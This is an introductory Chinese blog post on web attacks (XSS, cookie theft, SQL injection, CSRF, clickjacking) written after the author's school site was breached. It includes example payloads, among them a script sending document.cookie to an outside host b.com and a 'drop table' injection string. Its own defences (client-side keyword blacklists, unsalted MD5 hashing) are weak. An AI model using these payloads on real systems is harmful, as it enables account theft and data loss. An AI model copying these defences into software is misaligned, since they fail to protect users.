Web安全——前端JS表單驗證過濾

前端JS表單驗證過濾

前言

以前忙於作各類事情,已經好久沒寫過文章,最近接的一個學校的網站項目,近期被人用自動腳本攻破了(笑...),由於咱們第一次作這種上線的項目,徹底沒有意識到一些web安全的知識,因此就開始了緊急的漏洞補救和防禦措施。因此我就把近期學習的知識總結下。目前我水平有限,只能作一個初級認識,讓一些剛入行作上線的實際項目的同窗能有所警戒。html

緣由

安全小白

做爲這個網站項目組長,我是徹底不知道這些安全隱患問題的,團隊的人員也沒有研究過這些,因此形成了這個狀況,由於咱們是在校大學學生,確實學無餘力來研究這些,但願對還未出社會的初學者提個醒。前端

web常見攻擊手段

我只會大概說起它的攻擊原理和預防方法,具體的實現和深刻研究還請你們自行百度,由於只有真正須要用到纔會去詳細瞭解,這裏我只爲web安全小白作知識掃盲。由於博主目前接觸最多的服務端語言是JAVA因此例子都從java web項目來說。java

跨站腳本攻擊(XSS)

雖然咱們目前作的是一個博客的小網站,可是之後不管是本身的博客仍是實際的項目,均可以用圖片來提供外鏈,方便管理,若是你的網站訪問量很高啊,一天幾十萬幾百萬啊,個人天啊,這時候你考慮的就不是服務器空間夠不夠大,而是驚人的併發數啊,光是請求html文件(或其餘)的連接就處理不過來了,哪還有多餘的資源去讀取圖片啊,索性就把圖片存另外一個服務器吧,給主服務器減輕壓力啊,因而圖牀誕生了。git

  1. 反射型XSSweb

它是經過誘使用戶打開一個惡意連接,服務端將連接中參數的惡意代碼渲染到頁面中,再傳遞給用戶由瀏覽器執行,從而達到攻擊的目的。以下面的連接:算法

http://a.com/a.jsp?name=xss<script>alert(1)</script>

a.jsp將頁面渲染成下面的html:sql

Hello xss<script>alert(1)</script>

這時瀏覽器將會彈出提示框。數據庫

這算是常見的一種方法,預防的話能夠經過後臺編寫方法來攔截過濾到這些非法或有攻擊性的字符。後端

  1. 持久型XSS瀏覽器

持久型XSS將惡意代碼提交給服務器,而且存儲在服務器端,當用戶訪問相關內容時再渲染到頁面中,以達到攻擊的目的,它的危害更大。

好比,攻擊者寫了一篇帶惡意JS代碼的博客,文章發表後,全部訪問該博客文章的用戶都會執行這段惡意JS。

這個相對來講對咱們開發網站來講不算重要,可是要當心攻擊者在你網站注入一些非法代碼,從而達到這個目的。

Cookie劫持

Cookie中通常保存了當前用戶的登陸憑證,若是能夠獲得,每每意味着可直接進入用戶賬戶,而Cookie劫持也是最多見的XSS攻擊。以上面提過的反射型XSS的例子來講,能夠像下面這樣操做:

首先誘使用戶打開下面的連接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>

用戶打開連接後,會加載b.js,並執行b.js中的代碼。b.js中存儲瞭如下JS代碼:

var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);

上面的代碼會向b.com請求一張圖片,但其實是將當前頁面的cookie發到了b.com的服務器上。這樣就完成了竊取cookie的過程。

防護Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標識,瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。

XSS的防護

  1. 輸入檢查
    對輸入數據作檢查,好比用戶名只容許是字母和數字,郵箱必須是指定格式。

必定要在後臺作檢查,不然數據可能繞過前端檢查直接發給服務器。
通常先後端都作檢查,這樣前端能夠擋掉大部分無效數據。
對特殊字符作編碼或過濾,但由於不知道輸出時的語境,因此可能會作不適當的過濾,最好是在輸出時具體狀況具體處理。

  1. 輸出檢查
    對渲染到HTML中內容執行HtmlEncode,對渲染到JavaScript中的內容執行JavascriptEncode。

另外還可使用一些作XSS檢查的開源項目。

SQL注入

SQL注入經常會聽到,它與XSS相似,是因爲用戶提交的數據被當成命令來執行而形成的。下面是一個SQL注入的例子:

String sql = "select * from user where username = '" + username + "'";

像上面的SQL語句,若是用戶提交的username參數是leo,則數據庫執行的SQL爲:

select * from user where username = 'leo'

但若是用戶提交的username參數是leo’; drop table user–,那執行的SQL爲:

select * from user where username = 'leo'; drop table user--'

在查詢數據後,又執行了一個刪除表的操做,這樣的後果很是嚴重。

博主本人的網站就是主要被SQL注入致使網站數據庫受損

SQL注入的防護

防止SQL注入最好的方法是使用預編譯語句,以下面所示:

String sql = "select * from user where username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet results = pstmt.executeQuery();

不一樣語言的預編譯方法不一樣,但基本均可以處理。

若是遇到沒法使用預編譯方法時,只能像防止XSS那樣對參數進行檢查和編碼。

博主後面會貼出本身完善項目的檢測代碼,就是對網站能夠進行數據提交的表單的輸入進行SQL語句檢測。

跨站請求僞造(CSRF)

跨站請求僞造的英文全稱是Cross Site Request Forgery,是因爲操做所需的全部參數都能被攻擊者獲得,進而構造出一個僞造的請求,在用戶不知情的狀況下被執行。看下面一個例子:

若是a.com網站須要用戶登陸後能夠刪除博客,刪除博客的請求地址以下:

GET http://a.com/blog/delete?id=1

當用戶登陸a.com後,又打開了http://b.com/b.html,其中有下面的內容:

<img src="http://a.com/blog/delete?id=1"/>

這時會以用戶在a.com的身份發送http://a.com/blog/delete?id=1,刪除那篇博客。

CSRF的防護

  1. 驗證碼

CSRF是在用戶不知情的狀況下構造的網絡狀況,驗證碼則強制用戶與應用交互,因此驗證碼能夠很好得防止CSRF。但不能什麼請求都加驗證碼。

  1. referer檢查

檢查請求header中的referer也能幫助防止CSRF攻擊,但服務器不是總能拿到referer,瀏覽器可能出於安全或隱私而不發送referer,因此也不經常使用。卻是圖片防盜鏈中用得不少。

  1. Anti CSRF Token

更多的是生成一個隨機的token,在用戶提交數據的同時提交這個token,服務器端比對後若是不正確,則拒絕執行操做。

做爲了解,通常前面的攻擊都過了,就能夠形成此類攻擊。

點擊劫持(ClickJacking)

點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網頁上,誘使用戶在該網頁上操做,而實際點擊倒是點在透明的iframe頁面。

點擊劫持延伸出了不少攻擊方式,有圖片覆蓋攻擊、拖拽劫持等。
點擊劫持的防護

針對iframe的攻擊,可以使用一個HTTP頭:X-Frame-Options,它有三種可選值:

DENY: 禁止任何頁面的frame加載;
SAMEORIGIN:只有同源頁面的frame可加載;
ALLOW-FROM:可定義容許frame加載的頁面地址。

針對圖片覆蓋攻擊,則注意使用預防XSS的方法,防止HTML和JS注入。

做爲了解,通常前面的攻擊都過了,就能夠形成此類攻擊。

個人方法

前言

咱們負責的團隊項目爲學校網站製做,因此涉及到用戶輸入的地方都在後臺管理模塊,從後臺登陸界面開始就應該作一些防禦措施了。

登陸的字符檢測

function validate(value) {
    var pattern = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
    if (value === '' || value === null) return false;
    if (pattern.test(value)) {
        alert("非法字符!");
        return false;
    }
    return true;
}

function filterSqlStr(value) {
    var str = "and,delete,or,exec,insert,select,union,update,count,*,',join,>,<";
    var sqlStr = str.split(',');
    var flag = true;
    
    for (var i = 0; i < sqlStr.length; i++) {
        if (value.toLowerCase().indexOf(sqlStr[i]) != -1) {
            flag = false;
            break;
        }
    }
    alert(flag);
    return flag;
}

JS封裝的2個方法,用於返回布爾值來判斷是否經過。第一個爲了過濾掉非法字符,第二個爲了過濾有關數據庫操做的非法字符。

密碼MD5加密

//password  Md5
    
        public static String MD5Password(String oldstr) {
     
            char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
                    'a', 'b', 'c', 'd', 'e', 'f' };
     
            byte[] oldbytes = oldstr.getBytes();
            
            try {
                
                MessageDigest md = MessageDigest.getInstance("MD5");// 獲取對象
                
                md.update(oldbytes);// 初始化對象
                
                byte[] newBytes = md.digest();// 運行加密算法
                
                char[] newStr = new char[32];
                
                for (int i = 0; i < 16; i++) {
                    
                    byte temp = newBytes[i];
                    
                    newStr[2 * i] = hexDigits[temp >>> 4 & 0xf];
                    
                    newStr[2 * i + 1] = hexDigits[temp & 0xf];
                    
                }
                
                return new String(newStr);
                
            } catch (NoSuchAlgorithmException e) {
                
                return null;
                
            }
     
        }

經過在後臺對數據庫中,管理員的密碼進行MD5加密而後存入加密後的字段進去,在前臺經過加密前的字段輸入後在後臺進行方法驗證,實現MD5加密登陸。防止數據庫的密碼被暴露查詢出來。加密後沒法被反解密出來。

後臺添加修改信息的字符檢測

同前臺登陸同樣的檢測方法,由於我只負責前臺檢測,若是黑客繞過了個人檢測,就要進行後臺對數據傳過去的值進行檢測,這時候就是後臺人員的工做了。因此先後臺都要進行這些字符檢測,可是後臺的責任要重一點,由於數據最終流向是在後臺服務器端,前臺只是初步防禦而已。

驗證碼和滑塊驗證

驗證碼字符驗證

目前驗證碼字符驗證已經逐漸推出舞臺,可是有一些專門這塊驗證服務的第三方平臺,經過對驗證碼字符的不斷改進和更新,對一些攻擊者來講仍是有防禦做用,可是我的或企業網站仍是用的一塵不變的驗證方法的話,就很容易被攻擊成功。不少初學者都在前臺瀏覽器客戶端用JS進行字符驗證,很容易被破解跳過。好點的就在服務器進行檢驗,可是仍是能被一些黑客通過長期的經驗發明的一些工具破解。
這裏就說起一下12306所推出的圖片驗證,目前已經被不少人報道也是不安全的,攻擊者能夠直接將圖片處理後丟入google、百度的識圖接口,返回的數值讓人驚訝。
前端JS表單驗證過濾|center
竟然能把第二張圖識別爲沙縣小吃,我是以爲目前的人工智能的圖像識別技術很厲害,因此要不了多久這種驗證方式也會被淘汰,除非不斷更新圖片庫。

滑塊驗證

滑塊驗證和12306的圖片識別驗證目前算是比較安全的驗證手段,滑動驗證的核心並非簡單的拼接成功就能夠過,因此也不是簡單的算一下偏移量就能破解。滑動驗證作的好的是經過採集你的滑動過程軌跡與服務器端的海量樣本進行對比,區分人仍是機器,用到了不少深度學習的技術,固然市面上也有一些滑動驗證只是前端拼接就能過,你們仍是要多多研究一下。


反正若是項目須要用到驗證碼這塊,不能考慮只在客戶端進行JS驗證,客戶端的JS驗證有的前提下,還要把數據返回到後臺來進行驗證,這樣能夠大機率保證網站安全性,網站的攻防一直是持久的話題,沒有絕對的安全也沒有絕對的攻擊。推薦你們多嘗試網上的第三方服務商提供的驗證服務,這樣節省本身的精力來研究驗證漏洞以及頻繁的更新驗證方法。

End

在校期間第一次認識到web安全重要性,目前只是初步的認識,若是後面瞭解了更多相關的知識,會繼續作補充。關於hexo搭建的博客的技術應該不會再出什麼文章了,有須要瞭解其餘的知識的,會有困難的能夠聯繫我或下方留言,而後看狀況是否整理爲一篇文章來集中回答幫助其餘人。

相關文章
相關標籤/搜索